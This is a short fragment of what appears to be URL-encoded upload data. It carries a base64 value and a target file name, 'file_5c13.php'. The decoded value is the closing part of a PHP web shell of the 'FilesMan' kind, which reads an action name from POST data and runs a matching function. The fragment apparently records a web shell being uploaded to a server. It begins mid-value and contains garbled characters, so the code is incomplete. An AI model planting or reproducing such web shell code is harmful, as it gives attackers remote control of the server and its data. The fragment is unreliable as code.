icgLiAk4paaKSkNCiAgICAgICAgJF9QT1NUWydhJ10gPSAk4paaOw0KICAgIGVsc2UNCiAgICAgICAgJF9QT1NUWydhJ10gPSAnRmlsZXNNYW4nOw0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkNCiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsNCj8%2B&filename=file_5c13.php&name=file_5c13.php